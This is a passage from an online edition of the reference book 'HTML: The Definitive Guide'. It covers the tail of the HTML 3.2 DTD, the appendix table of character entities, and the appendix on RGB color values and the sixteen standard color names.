        and as such to be used as a replacement for HTML 2.0 (RFC 1866).
        Widely deployed rendering attributes are included where they
        have been shown to be interoperable. SCRIPT and STYLE are
        included to smooth the introduction of client-side scripts
        and style sheets. Browsers must avoid showing the contents
        of these element Otherwise support for them is not required.
        ID, CLASS and STYLE attributes are not included in this version
        of HTML.
-->
<!ENTITY % HTML.Version
        "-//W3C//DTD HTML 3.2 Final//EN"
        -- Typical usage:
            <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
            <html>
            ...
            </html>
        --
        >
<!--================== Deprecated Features Switch =========================-->
<!ENTITY % HTML.Deprecated "INCLUDE">
<!--================== Imported Names =====================================-->
<!ENTITY % Content-Type "CDATA"
        -- meaning a MIME content type, as per RFC1521
        -->
<!ENTITY % HTTP-Method "GET | POST"
        -- as per HTTP specification
        -->
<!ENTITY % URL "CDATA"
        -- The term URL means a CDATA attribute
           whose value is a Uniform Resource Locator,
           See RFC1808 (June 95) and RFC1738 (Dec 94).
        -->
<!-- Parameter Entities -->
<!ENTITY % head.misc "SCRIPT|STYLE|META|LINK" -- repeatable head elements -->
<!ENTITY % heading "H1|H2|H3|H4|H5|H6">
<!ENTITY % list "UL | OL |  DIR | MENU">
    <!ENTITY % preformatted "PRE | XMP | LISTING">
]]>
<!ENTITY % preformatted "PRE">
<!--================ Character mnemonic entities ==========================-->
<!ENTITY % ISOlat1 PUBLIC
       "ISO 8879-1986//ENTITIES Added Latin 1//EN//HTML">
%ISOlat1;
<!--================ Entities for special symbols =========================-->
<!-- &trade and &cbsp are not widely deployed and so not included here -->
<!ENTITY amp    CDATA "&#38;"   -- ampersand          -->
<!ENTITY gt     CDATA "&#62;"   -- greater than       -->
<!ENTITY lt     CDATA "&#60;"   -- less than          -->
<!--=================== Text Markup =======================================-->
<!ENTITY % font "TT | I | B  | U | STRIKE | BIG | SMALL | SUB | SUP">
<!ENTITY % phrase "EM | STRONG | DFN | CODE | SAMP | KBD | VAR | CITE">
<!ENTITY % special "A | IMG | APPLET | FONT | BASEFONT | BR | SCRIPT | MAP">
<!ENTITY % form "INPUT | SELECT | TEXTAREA">
<!ENTITY % text "#PCDATA | %font | %phrase | %special | %form">
<!ELEMENT (%font|%phrase) - - (%text)*>
<!-- there are also 16 widely known color names although
  the resulting colors are implementation dependent:
   aqua, black, blue, fuchsia, gray, green, lime, maroon,
   navy, olive, purple, red, silver, teal, white, and yellow
 These colors were originally picked as being the standard
 16 colors supported with the Windows VGA palette.
 -->
<!ELEMENT FONT - - (%text)*     -- local change to font -->
<!ATTLIST FONT
    size    CDATA   #IMPLIED    -- [+]nn e.g. size="+1", size=4 --
    color   CDATA   #IMPLIED    -- #RRGGBB in hex, e.g. red: color="#FF0000" --
    >
<!ELEMENT BASEFONT - O EMPTY    -- base font size (1 to 7)-->
<!ATTLIST BASEFONT
    size    CDATA   #IMPLIED    -- e.g. size=3 --
    >
<!ELEMENT BR    - O EMPTY    -- forced line break -->
<!ATTLIST BR
        clear (left|all|right|none) none -- control of text flow --
        >
<!--================== HTML content models ================================-->
<!--
    HTML has three basic content models:
        %text       character level elements and text strings
        %flow       block-like elements e.g. paragraphs and lists
        %bodytext   as %flow plus headers H1-H6 and ADDRESS
-->
<!ENTITY % block
     "P | %list | %preformatted | DL | DIV | CENTER |
      BLOCKQUOTE | FORM | ISINDEX | HR | TABLE">
<!-- %flow is used for DD and LI -->
<!ENTITY % flow "(%text | %block)*">
<!--=================== Document Body =====================================-->
<!ENTITY % body.content "(%heading | %text | %block | ADDRESS)*">
<!ENTITY % color "CDATA" -- a color specification: #HHHHHH @@ details? -->
<!ENTITY % body-color-attrs "
        bgcolor %color #IMPLIED
        text %color #IMPLIED
        link %color #IMPLIED
        vlink %color #IMPLIED
        alink %color #IMPLIED
        ">
<!ELEMENT BODY O O  %body.content>
<!ATTLIST BODY
        background %URL #IMPLIED  -- texture tile for document background --
        %body-color-attrs;  -- bgcolor, text, link, vlink, alink --
        >
<!ENTITY % address.content "((%text;) | P)*">
<!ELEMENT ADDRESS - - %address.content>
<!ELEMENT DIV - - %body.content>
<!ATTLIST DIV
        align   (left|center|right) #IMPLIED -- alignment of following text --
        >
<!-- CENTER is a shorthand for DIV with ALIGN=CENTER -->
<!ELEMENT center - - %body.content>
<!--================== The Anchor Element =================================-->
<!ELEMENT A - - (%text)* -(A)>
<!ATTLIST A
        name    CDATA   #IMPLIED    -- named link end --
        href    %URL    #IMPLIED    -- URL for linked resource --
        rel     CDATA   #IMPLIED    -- forward link types --
        rev     CDATA   #IMPLIED    -- reverse link types --
        title   CDATA   #IMPLIED    -- advisory title string --
        >
<!--================== Client-side image maps ============================-->
<!-- These can be placed in the same document or grouped in a
     separate document although this isn't yet widely supported -->
<!ENTITY % SHAPE "(rect|circle|poly)">
<!ENTITY % COORDS "CDATA" -- comma separated list of numbers -->
<!ELEMENT MAP - - (AREA)*>
<!ATTLIST MAP
    name    CDATA   #IMPLIED
    >
<!ELEMENT AREA - O EMPTY>
<!ATTLIST AREA
    shape   %SHAPE  rect
    coords  %COORDS #IMPLIED  -- defines coordinates for shape --
    href    %URL    #IMPLIED  -- this region acts as hypertext link --
    nohref (nohref) #IMPLIED  -- this region has no action --
    alt     CDATA   #REQUIRED -- needed for non-graphical user agents --
    >
<!--================== The LINK Element ==================================-->
<!ENTITY % Types "CDATA"
        -- See Internet Draft: draft-ietf-html-relrev-00.txt
           LINK has been part of HTML since the early days
           although few browsers as yet take advantage of it.
           Relationship values can be used in principle:
                a) for document specific toolbars/menus when used
                   with the LINK element in the document head:
                b) to link to a separate style sheet
                c) to make a link to a script
                d) by stylesheets to control how collections of
                   html nodes are rendered into printed documents
                e) to make a link to a printable version of this document
                   e.g. a postscript or pdf version
-->
<!ELEMENT LINK - O EMPTY>
<!ATTLIST LINK
        href    %URL    #IMPLIED    -- URL for linked resource --
        rel     %Types  #IMPLIED    -- forward link types --
        rev     %Types  #IMPLIED    -- reverse link types --
        title   CDATA   #IMPLIED    -- advisory title string --
        >
<!--=================== Images ============================================-->
<!ENTITY % Length "CDATA"   -- nn for pixels or nn% for percentage length -->
<!ENTITY % Pixels "NUMBER"  -- integer representing length in pixels -->
<!-- Suggested widths are used for negotiating image size
     with the module responsible for painting the image.
     align=left or right cause image to float to margin
     and for subsequent text to wrap around image -->
<!ENTITY % IAlign "(top|middle|bottom|left|right)">
<!ELEMENT IMG    - O EMPTY --  Embedded image -->
<!ATTLIST IMG
        src     %URL     #REQUIRED  -- URL of image to embed --
        alt     CDATA    #IMPLIED   -- for display in place of image --
        align   %IAlign  #IMPLIED   -- vertical or horizontal alignment --
        height  %Pixels  #IMPLIED   -- suggested height in pixels --
        width   %Pixels  #IMPLIED   -- suggested width in pixels --
        border  %Pixels  #IMPLIED   -- suggested link border width --
        hspace  %Pixels  #IMPLIED   -- suggested horizontal gutter --
        vspace  %Pixels  #IMPLIED   -- suggested vertical gutter --
        usemap  %URL     #IMPLIED   -- use client-side image map --
        ismap   (ismap)  #IMPLIED   -- use server image map --
        >
<!-- USEMAP points to a MAP element which may be in this document
  or an external document, although the latter is not widely supported -->
<!--=================== Java APPLET tag ===================================-->
<!--
  This tag is supported by all Java enabled browsers. Applet resources
  (including their classes) are normally loaded relative to the document
  URL (or <BASE> element if it is defined). The CODEBASE attribute is used
  to change this default behavior. If the CODEBASE attribute is defined then
  it specifies a different location to find applet resources. The value
  can be an absolute URL or a relative URL. The absolute URL is used as is
  without modification and is not effected by the documents <BASE> element.
  When the codebase attribute is relative, then it is relative to the
  document URL (or <BASE> tag if defined).
-->
<!ELEMENT APPLET - - (PARAM | %text)*>
<!ATTLIST APPLET
        codebase %URL     #IMPLIED   -- code base --
        code     CDATA    #REQUIRED  -- class file --
        alt      CDATA    #IMPLIED   -- for display in place of applet --
        name     CDATA    #IMPLIED   -- applet name --
        width    %Pixels  #REQUIRED  -- suggested width in pixels --
        height   %Pixels  #REQUIRED  -- suggested height in pixels --
        align    %IAlign  #IMPLIED   -- vertical or horizontal alignment --
        hspace   %Pixels  #IMPLIED   -- suggested horizontal gutter --
        vspace   %Pixels  #IMPLIED   -- suggested vertical gutter --
        >
<!ELEMENT PARAM - O EMPTY>
<!ATTLIST PARAM
        name    NMTOKEN   #REQUIRED  -- The name of the parameter --
        value   CDATA     #IMPLIED   -- The value of the parameter --
        >
<!--
Here is an example:
    <applet codebase="applets/NervousText"
        code=NervousText.class
        width=300
        height=50>
    <param name=text value="Java is Cool!">
    <img src=sorry.gif alt="This looks better with Java support">
    </applet>
-->
<!--=================== Horizontal Rule ===================================-->
<!ELEMENT HR    - O EMPTY>
<!ATTLIST HR
        align (left|right|center) #IMPLIED
        noshade (noshade) #IMPLIED
        size  %Pixels #IMPLIED
        width %Length #IMPLIED
        >
<!--=================== Paragraphs=========================================-->
<!ELEMENT P     - O (%text)*>
<!ATTLIST P
        align  (left|center|right) #IMPLIED
        >
<!--=================== Headings ==========================================-->
<!--
  There are six levels of headers from H1 (the most important)
  to H6 (the least important).
-->
<!ELEMENT ( %heading )  - -  (%text;)*>
<!ATTLIST ( %heading )
        align  (left|center|right) #IMPLIED
        >
<!--=================== Preformatted Text =================================-->
<!-- excludes images and changes in font size -->
<!ENTITY % pre.exclusion "IMG|BIG|SMALL|SUB|SUP|FONT">
<!ELEMENT PRE - - (%text)* -(%pre.exclusion)>
<!ATTLIST PRE
        width NUMBER #implied -- is this widely supported? --
        >
<![ %HTML.Deprecated [
<!ENTITY % literal "CDATA"
        -- historical, non-conforming parsing mode where
           the only markup signal is the end tag
           in full
        -->
<!ELEMENT (XMP|LISTING) - -  %literal>
<!ELEMENT PLAINTEXT - O %literal>
]]>
<!--=================== Block-like Quotes =================================-->
<!ELEMENT BLOCKQUOTE - - %body.content>
<!--=================== Lists =============================================-->
<!--
    HTML 3.2 allows you to control the sequence number for ordered lists.
    You can set the sequence number with the START and VALUE attributes.
    The TYPE attribute may be used to specify the rendering of ordered
    and unordered lists.
-->
<!-- definition lists - DT for term, DD for its definition -->
<!ELEMENT DL    - -  (DT|DD)+>
<!ATTLIST DL
        compact (compact) #IMPLIED -- more compact style --
        >
<!ELEMENT DT - O  (%text)*>
<!ELEMENT DD - O  %flow;>
<!-- Ordered lists OL, and unordered lists UL -->
<!ELEMENT (OL|UL) - -  (LI)+>
<!--
       Numbering style
    1   arablic numbers     1, 2, 3, ...
    a   lower alpha         a, b, c, ...
    A   upper alpha         A, B, C, ...
    i   lower roman         i, ii, iii, ...
    I   upper roman         I, II, III, ...
    The style is applied to the sequence number which by default
    is reset to 1 for the first list item in an ordered list.
    This can't be expressed directly in SGML due to case folding.
-->
<!ENTITY % OLStyle "CDATA" -- constrained to: [1|a|A|i|I] -->
<!ATTLIST OL -- ordered lists --
        type      %OLStyle   #IMPLIED   -- numbering style --
        start     NUMBER     #IMPLIED   -- starting sequence number --
        compact  (compact)   #IMPLIED   -- reduced interitem spacing --
        >
<!-- bullet styles -->
<!ENTITY % ULStyle "disc|square|circle">
<!ATTLIST UL -- unordered lists --
        type    (%ULStyle)   #IMPLIED   -- bullet style --
        compact (compact)    #IMPLIED   -- reduced interitem spacing --
        >
<!ELEMENT (DIR|MENU) - -  (LI)+ -(%block)>
<!ATTLIST DIR
        compact (compact) #IMPLIED
        >
<!ATTLIST MENU
        compact (compact) #IMPLIED
        >
<!-- <DIR>              Directory list                  -->
<!-- <DIR COMPACT>      Compact list style              -->
<!-- <MENU>             Menu list                       -->
<!-- <MENU COMPACT>     Compact list style              -->
<!-- The type attribute can be used to change the bullet style
     in unordered lists and the numbering style in ordered lists -->
<!ENTITY % LIStyle "CDATA" -- constrained to: "(%ULStyle|%OLStyle)" -->
<!ELEMENT LI - O %flow -- list item -->
<!ATTLIST LI
        type    %LIStyle     #IMPLIED   -- list item style --
        value    NUMBER      #IMPLIED   -- reset sequence number --
        >
<!--================ Forms ===============================================-->
<!ELEMENT FORM - - %body.content -(FORM)>
<!ATTLIST FORM
        action %URL #IMPLIED  -- server-side form handler --
        method (%HTTP-Method) GET -- see HTTP specification --
        enctype %Content-Type; "application/x-www-form-urlencoded"
        >
<!ENTITY % InputType
        "(TEXT | PASSWORD | CHECKBOX | RADIO | SUBMIT
            | RESET | FILE | HIDDEN | IMAGE)">
<!ELEMENT INPUT - O EMPTY>
<!ATTLIST INPUT
        type %InputType TEXT     -- what kind of widget is needed --
        name  CDATA   #IMPLIED   -- required for all but submit and reset --
        value CDATA   #IMPLIED   -- required for radio and checkboxes --
        checked (checked) #IMPLIED -- for radio buttons and check boxes --
        size CDATA    #IMPLIED   -- specific to each type of field --
        maxlength NUMBER #IMPLIED -- max chars allowed in text fields --
        src   %URL    #IMPLIED   -- for fields with background images --
        align %IAlign #IMPLIED   -- vertical or horizontal alignment --
        >
<!ELEMENT SELECT - - (OPTION+)>
<!ATTLIST SELECT
        name CDATA #REQUIRED
        size NUMBER #IMPLIED
        multiple (multiple) #IMPLIED
        >
<!ELEMENT OPTION - O (#PCDATA)*>
<!ATTLIST OPTION
        selected (selected) #IMPLIED
        value  CDATA  #IMPLIED -- defaults to element content --
        >
<!-- Multi-line text input field. -->
<!ELEMENT TEXTAREA - - (#PCDATA)*>
<!ATTLIST TEXTAREA
        name CDATA #REQUIRED
        rows NUMBER #REQUIRED
        cols NUMBER #REQUIRED
        >
<!--======================= Tables ========================================-->
<!-- Widely deployed subset of the full table standard, see RFC 1942
     e.g. at http://www.ics.uci.edu/pub/ietf/html/rfc1942.txt -->
<!-- horizontal placement of table relative to window -->
<!ENTITY % Where "(left|center|right)">
<!-- horizontal alignment attributes for cell contents -->
<!ENTITY % cell.halign
        "align  (left|center|right) #IMPLIED"
        >
<!-- vertical alignment attributes for cell contents -->
<!ENTITY % cell.valign
        "valign  (top|middle|bottom)  #IMPLIED"
        >
<!ELEMENT table - - (caption?, tr+)>
<!ELEMENT tr - O (th|td)*>
<!ELEMENT (th|td) - O %body.content>
<!ATTLIST table                       -- table element --
        align     %Where;   #IMPLIED  -- table position relative to window --
        width     %Length   #IMPLIED  -- table width relative to window --
        border    %Pixels   #IMPLIED  -- controls frame width around table --
        cellspacing %Pixels #IMPLIED  -- spacing between cells --
        cellpadding %Pixels #IMPLIED  -- spacing within cells --
        >
<!ELEMENT CAPTION - - (%text;)* -- table or figure caption -->
<!ATTLIST CAPTION
        align (top|bottom) #IMPLIED
        >
<!ATTLIST tr                       -- table row --
        %cell.halign;              -- horizontal alignment in cells --
        %cell.valign;              -- vertical alignment in cells --
        >
<!ATTLIST (th|td)                  -- header or data cell --
        nowrap (nowrap)  #IMPLIED  -- suppress word wrap --
        rowspan NUMBER   1         -- number of rows spanned by cell --
        colspan NUMBER   1         -- number of cols spanned by cell --
        %cell.halign;              -- horizontal alignment in cell --
        %cell.valign;              -- vertical alignment in cell --
        width   %Pixels  #IMPLIED  -- suggested width for cell --
        height  %Pixels  #IMPLIED  -- suggested height for cell --
        >
<!--================ Document Head ========================================-->
<!-- %head.misc defined earlier on as "SCRIPT|STYLE|META|LINK" -->
<!ENTITY % head.content "TITLE & ISINDEX? & BASE?">
<!ELEMENT HEAD O O  (%head.content) +(%head.misc)>
<!ELEMENT TITLE - -  (#PCDATA)* -(%head.misc)
          -- The TITLE element is not considered part of the flow of text.
             It should be displayed, for example as the page header or
             window title.
          -->
<!ELEMENT ISINDEX - O EMPTY>
<!ATTLIST ISINDEX
        prompt CDATA #IMPLIED -- prompt message -->
<!--
    The BASE element gives an absolute URL for dereferencing relative
    URLs, e.g.
         <BASE href="http://foo.com/index.html">
         ...
         <IMG SRC="images/bar.gif">
    The image is deferenced to
         http://foo.com/images/bar.gif
   In the absence of a BASE element the document URL should be used.
   Note that this is not necessarily the same as the URL used to
   request the document, as the base URL may be overridden by an HTTP
   header accompanying the document.
-->
<!ELEMENT BASE - O EMPTY>
<!ATTLIST BASE
        href %URL  #REQUIRED
        >
<!ELEMENT META - O EMPTY -- Generic Metainformation -->
<!ATTLIST META
        http-equiv  NAME    #IMPLIED  -- HTTP response header name  --
        name        NAME    #IMPLIED  -- metainformation name       --
        content     CDATA   #REQUIRED -- associated information     --
        >
<!-- SCRIPT/STYLE are place holders for transition to next version of HTML -->
<!ELEMENT STYLE  - - CDATA -- placeholder for style info -->
<!ELEMENT SCRIPT - - CDATA -- placeholder for script statements -->
<!-- ELEMENT STYLE  - - (#PCDATA)*  -(%head.misc) -- style info -->
<!-- ELEMENT SCRIPT - - (#PCDATA)*  -(%head.misc) -- script statements -->
<!--================ Document Structure ===================================-->
<!ENTITY % version.attr "VERSION CDATA #FIXED '%HTML.Version;'.>
<![ %HTML.Deprecated [
    <!ENTITY % html.content "HEAD, BODY, PLAINTEXT?">
]]>
<!ENTITY % html.content "HEAD, BODY">
<!ELEMENT HTML O O  (%html.content)>
<!ATTLIST HTML
        %version.attr; >

Previous | Home | Next
Cascading Style Sheet Properties Quick Reference | Book Index | Character Entities
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix E] Character Entities

HTML: The Definitive Guide

Previous Appendix E Next

E. Character Entities

The following table collects the defined standard, proposed, and several nonstandard, but generally supported, character entities for HTML.

Entity names, if defined, appear for their respective characters and can be used in the HTML character-entity sequence &name; to define any character for display by the browser. Otherwise, or alternatively for named characters, use the character's three-digit numeral value in the sequence &#nnn; to specially define an HTML character entity. Actual characters, however, may or may not be displayed by the browser depending on the computer platform and user-selected font for display.

Not all 256 characters in the ISO character set appear in the table. Missing ones are not recognized by the browser as either named or numeric entities.

To be sure that your documents are fully compliant with the HTML 3.2 standard, use only those named character entities whose conformance column is blank. Characters whose conformance column contains a "P" (Proposed) are generally supported by the current browsers, although not part of the HTML standard. Defy compliance by using the nonstandard "N" entities.

Numeric Entity | Named Entity | Symbol | Description | Conformance
&#009; |  |  | Horizontal tab |
&#010; |  |  | Line feed |
&#013; |  |  | Carriage return |
&#032; |  |  | Space |
&#033; |  | ! | Exclamation point |
&#034; | &quot; | [Graphic: Figure from the text] | Quotation mark |
&#035; |  | # | Hash mark |
&#036; |  | $ | Dollar sign |
&#037; |  | % | Percent sign |
&#038; | &amp; | & | Ampersand |
&#039; |  | [Graphic: Figure from the text] | Apostrophe |
&#040; |  | ( | Left parenthesis |
&#041; |  | ) | Right parenthesis |
&#042; |  | * | Asterisk |
&#043; |  | + | Plus sign |
&#044; |  | , | Comma |
&#045; |  | [Graphic: Figure from the text] | Hyphen |
&#046; |  | . | Period |
&#047; |  | / | Slash |
&#048; - &#057; |  | 0-9 | Digits 0-9 |
&#058; |  | : | Colon |
&#059; |  | ; | Semicolon |
&#060; | &lt; | < | Less than |
&#061; |  | [Graphic: Figure from the text] | Equals sign |
&#062; | &gt; | > | Greater than |
&#063; |  | ? | Question mark |
&#064; |  | @ | Commercial at sign |
&#065; - &#090; |  | A-Z | Letters A-Z |
&#091; |  | [ | Left square bracket |
&#092; |  | \ | Backslash |
&#093; |  | ] | Right square bracket |
&#094; |  | ^ | Caret |
&#095; |  | _ | Underscore |
&#096; |  | [Graphic: Figure from the text] | Gravè accent |
&#097; - &#122; |  | a-z | Letters a-z |
&#123; |  | { | Left curly brace |
&#124; |  | [Graphic: Figure from the text] | Vertical bar |
&#125; |  | } | Right curly brace |
&#126; |  | [Graphic: Figure from the text] | Tilde |
&#130; |  | , |  | N
&#131; |  | f | Florin | N
&#132; |  | [Graphic: Figure from the text] | Right double quote | N
&#133; |  | [Graphic: Figure from the text] | Ellipsis | N
&#134; |  | [Graphic: Figure from the text] | Dagger | N
&#135; |  | [Graphic: Figure from the text] | Double dagger | N
&#136; |  | [Graphic: Figure from the text] | Circumflex | N
&#137; |  | [Graphic: Figure from the text] | Permil | N
&#138; |  | _ |  | N
&#139; |  | < | Less than sign | N
&#140; |  | [Graphic: Figure from the text] | Capital OE ligature | N
&#145; |  | [Graphic: Figure from the text] | Left single quote | N
&#146; |  | [Graphic: Figure from the text] | Right single quote | N
&#147; |  | [Graphic: Figure from the text] | Left double quote | N
&#148; |  | [Graphic: Figure from the text] | Right double quote | N
&#149; |  | [Graphic: Figure from the text] | Bullet | N
&#150; |  | [Graphic: Figure from the text] | Em dash | N
&#151; |  | [Graphic: Figure from the text] | En dash | N
&#152; |  | [Graphic: Figure from the text] | Tilde | N
&#153; |  | [Graphic: Figure from the text] | Trademark | N
&#154; |  | _ |  | N
&#155; |  | > | Greater than sign | N
&#156; |  | [Graphic: Figure from the text] | Small oe ligature | N
&#159; |  | [Graphic: Figure from the text] | Capital Y, umlaut | N
&#160; | &nbsp; |  | Nonbreaking space | P
&#161; | &iexcl; | [Graphic: Figure from the text] | Inverted exclamation point | P
&#162; | &cent; | [Graphic: Figure from the text] | Cent sign | P
&#163; | &pound; | [Graphic: Figure from the text] | Pound sign | P
&#164; | &curren; | [Graphic: Figure from the text] | General currency sign | P
&#165; | &yen; | [Graphic: Figure from the text] | Yen sign | P
&#166; | &brvbar; | [Graphic: Figure from the text] | Broken vertical bar | P
&#167; | &sect; | [Graphic: Figure from the text] | Section sign | P
&#168; | &uml; | [Graphic: Figure from the text] | Umlaut | P
&#169; | &copy; | [Graphic: Figure from the text] | Copyright | P
&#170; | &ordf; | [Graphic: Figure from the text] | Feminine ordinal | P
&#171; | &laquo; | [Graphic: Figure from the text] | Left angle quote | P
&#172; | &not; | [Graphic: Figure from the text] | Not sign | P
&#173; | &shy; | [Graphic: Figure from the text] | Soft hyphen | P
&#174; | &reg; | [Graphic: Figure from the text] | Registered trademark | P
&#175; | &macr; | [Graphic: Figure from the text] | Macron accent | P
&#176; | &deg; | [Graphic: Figure from the text] | Degree sign | P
&#177; | &plusmn; | [Graphic: Figure from the text] | Plus or minus | P
&#178; | &sup2; | [Graphic: Figure from the text] | Superscript 2 | P
&#179; | &sup3; | [Graphic: Figure from the text] | Superscript 3 | P
&#180; | &acute; | [Graphic: Figure from the text] | Acute accent | P
&#181; | &micro; | [Graphic: Figure from the text] | Micro sign (Greek mu) | P
&#182; | &para; | [Graphic: Figure from the text] | Paragraph sign | P
&#183; | &middot; | [Graphic: Figure from the text] | Middle dot | P
&#184; | &cedil; | [Graphic: Figure from the text] | Cedilla | P
&#185; | &sup1; | [Graphic: Figure from the text] | Superscript 1 | P
&#186; | &ordm; | [Graphic: Figure from the text] | Masculine ordinal | P
&#187; | &raquo; | [Graphic: Figure from the text] | Right angle quote | P
&#188; | &frac14; | [Graphic: Figure from the text] | Fraction one-fourth | P
&#189; | &frac12; | [Graphic: Figure from the text] | Fraction one-half | P
&#190; | &frac34; | [Graphic: Figure from the text] | Fraction three-fourths | P
&#191; | &iquest; | [Graphic: Figure from the text] | Inverted question mark | P
&#192; | &Agrave; | [Graphic: Figure from the text] | Capital A, grave accent |
&#193; | &Aacute; | [Graphic: Figure from the text] | Capital A, acute accent |
&#194; | &Acirc; | [Graphic: Figure from the text] | Capital A, circumflex accent |
&#195; | &Atilde; | [Graphic: Figure from the text] | Capital A, tilde |
&#196; | &Auml; | [Graphic: Figure from the text] | Capital A, umlaut |
&#197; | &Aring; | [Graphic: Figure from the text] | Capital A, ring |
&#198; | &AElig; | [Graphic: Figure from the text] | Capital AE ligature |
&#199; | &Ccedil; | [Graphic: Figure from the text] | Capital C, cedilla |
&#200; | &Egrave; | [Graphic: Figure from the text] | Capital E, grave accent |
&#201; | &Eacute; | [Graphic: Figure from the text] | Capital E, acute accent |
&#202; | &Ecirc; | [Graphic: Figure from the text] | Capital E, circumflex accent |
&#203; | &Euml; | [Graphic: Figure from the text] | Capital E, umlaut |
&#204; | &Igrave; | [Graphic: Figure from the text] | Capital I, grave accent |
&#205; | &Iacute; | [Graphic: Figure from the text] | Capital I, acute accent |
&#206; | &Icirc; | [Graphic: Figure from the text] | Capital I, circumflex accent |
&#207; | &Iuml; | [Graphic: Figure from the text] | Capital I, umlaut |
&#208; | &ETH; | [Graphic: Figure from the text] | Capital eth, Icelandic |
&#209; | &Ntilde; | [Graphic: Figure from the text] | Capital N, tilde |
&#210; | &Ograve; | [Graphic: Figure from the text] | Capital O, grave accent |
&#211; | &Oacute; | [Graphic: Figure from the text] | Capital O, acute accent |
&#212; | &Ocirc; | [Graphic: Figure from the text] | Capital O, circumflex accent |
&#213; | &Otilde; | [Graphic: Figure from the text] | Capital O, tilde |
&#214; | &Ouml; | [Graphic: Figure from the text] | Capital O, umlaut |
&#215; | &times; | [Graphic: Figure from the text] | Multiply sign | P
&#216; | &Oslash; | [Graphic: Figure from the text] | Capital O, slash |
&#217; | &Ugrave; | [Graphic: Figure from the text] | Capital U, grave accent |
&#218; | &Uacute; | [Graphic: Figure from the text] | Capital U, acute accent |
&#219; | &Ucirc; | [Graphic: Figure from the text] | Capital U, circumflex accent |
&#220; | &Uuml; | [Graphic: Figure from the text] | Capital U, umlaut |
&#221; | &Yacute; | [Graphic: Figure from the text] | Capital Y, acute accent |
&#222; | &THORN; | [Graphic: Figure from the text] | Capital thorn, Icelandic |
&#223; | &szlig; | [Graphic: Figure from the text] | Small sz ligature, German |
&#224; | &agrave; | [Graphic: Figure from the text] | Small a, grave accent |
&#225; | &aacute; | [Graphic: Figure from the text] | Small a, acute accent |
&#226; | &acirc; | [Graphic: Figure from the text] | Small a, circumflex accent |
&#227; | &atilde; | [Graphic: Figure from the text] | Small a, tilde |
&#228; | &auml; | [Graphic: Figure from the text] | Small a, umlaut |
&#229; | &aring; | [Graphic: Figure from the text] | Small a, ring |
&#230; | &aelig; | [Graphic: Figure from the text] | Small ae ligature |
&#231; | &ccedil; | [Graphic: Figure from the text] | Small c, cedilla |
&#232; | &egrave; | [Graphic: Figure from the text] | Small e, grave accent |
&#233; | &eacute; | [Graphic: Figure from the text] | Small e, acute accent |
&#234; | &ecirc; | [Graphic: Figure from the text] | Small e, circumflex accent |
&#235; | &euml; | [Graphic: Figure from the text] | Small e, umlaut |
&#236; | &igrave; | [Graphic: Figure from the text] | Small i, grave accent |
&#237; | &iacute; | [Graphic: Figure from the text] | Small i, acute accent |
&#238; | &icirc; | [Graphic: Figure from the text] | Small i, circumflex accent |
&#239; | &iuml; | [Graphic: Figure from the text] | Small i, umlaut |
&#240; | &eth; | [Graphic: Figure from the text] | Small eth, Icelandic |
&#241; | &ntilde; | [Graphic: Figure from the text] | Small n, tilde |
&#242; | &ograve; | [Graphic: Figure from the text] | Small o, grave accent |
&#243; | &oacute; | [Graphic: Figure from the text] | Small o, acute accent |
&#244; | &ocirc; | [Graphic: Figure from the text] | Small o, circumflex accent |
&#245; | &otilde; | [Graphic: Figure from the text] | Small o, tilde |
&#246; | &ouml; | [Graphic: Figure from the text] | Small o, umlaut |
&#247; | &divide; | [Graphic: Figure from the text] | Division sign | P
&#248; | &oslash; | [Graphic: Figure from the text] | Small o, slash |
&#249; | &ugrave; | [Graphic: Figure from the text] | Small u, grave accent |
&#250; | &uacute; | [Graphic: Figure from the text] | Small u, acute accent |
&#251; | &ucirc; | [Graphic: Figure from the text] | Small u, circumflex accent |
&#252; | &uuml; | [Graphic: Figure from the text] | Small u, umlaut |
&#253; | &yacute; | [Graphic: Figure from the text] | Small y, acute accent |
&#254; | &thorn; | [Graphic: Figure from the text] | Small thorn, Icelandic |
&#255; | &yuml; | [Graphic: Figure from the text] | Small y, umlaut |

Previous | Home | Next
The HTML 3.2 DTD | Book Index | Color Names and Values
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix F] Color Names and Values

HTML: The Definitive Guide

Previous Appendix F Next

F. Color Names and Values

Contents:
Color Values
Color Names
The Standard Color Map

Within Netscape Navigator and Internet Explorer, you can change the color of various elements of your document, including these elements (partial list; see main text for all occasions).

Element | Associated Tag and Attribute
Document background | <body bgcolor=color>
All document text | <body text=color>
Active hyperlinks | <body alink=color>
Visited hyperlinks | <body vlink=color>
Regular hyperlinks | <body link=color>
Small portion of text | <font color=color>
Table cells | <table=color>
 | <tr bgcolor=color>
 | <td bgcolor=color>
 | <th bgcolor=color>

Color Values

In all cases, you may specify the color value as a six-digit hexadecimal number that represents the red, green, and blue (RGB) components of the color. The first two digits correspond to the red component of the color, the next two the green component, and the last two the blue component. A value of 00 corresponds to the component being completely off; a value of FF (255) corresponds to the component being completely on. Thus, bright red is FF0000, bright green is 00FF00, and bright blue is 0000FF. Other primary colors are mixtures of two components, such as yellow (FFFF00), magenta (FF00FF), and cyan (00FFFF). White (FFFFFF) and black (000000) are also easy to figure out.

You use these values in a tag by replacing the color with the RGB triple, preceded by a pound sign (#). Thus, to make all visited links display as magenta, use this body tag:

<body vlink="#FF00FF">

Previous | Home | Next
Character Entities | Book Index | Color Names
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix F] Color Names

HTML: The Definitive Guide

Previous Appendix F
Color Names and Values 		Next

F.2 Color Names

Unfortunately, determining the hexadecimal value for more esoteric colors like "papaya whip" or "navajo white" is very difficult. You can go crazy trying to adjust the RGB triple for a color to get the shade just right, especially when each adjustment requires loading a document into your browser to view the result.

To make life easier, the HTML 3.2 standard defines sixteen standard color names that can be used anywhere a numeric color value can be used. For example, you can make all visited links in the display magenta with the following attribute and value for the body tag:

<body vlink="magenta">

The color names and RGB values defined in the HTML 3.2 standard are:

aqua (#00FFFF) | gray (#808080) | navy (#000080) | silver (#C0C0C0)
black (#000000) | green (#008000) | olive (#808000) | teal (#008080)
blue (#0000FF) | lime (#00FF00) | purple (#800080) | yellow (#FFFF00)
fuchsia (#FF00FF) | maroon (#800000) | red (#FF0000) | white (#FFFFFF)

Netscape goes well beyond the HTML 3.2 standard and supports the several hundred color names defined for use in the X Window System. Note that these color names may contain no spaces; also, the word "gray" may be spelled "grey" in any color name.

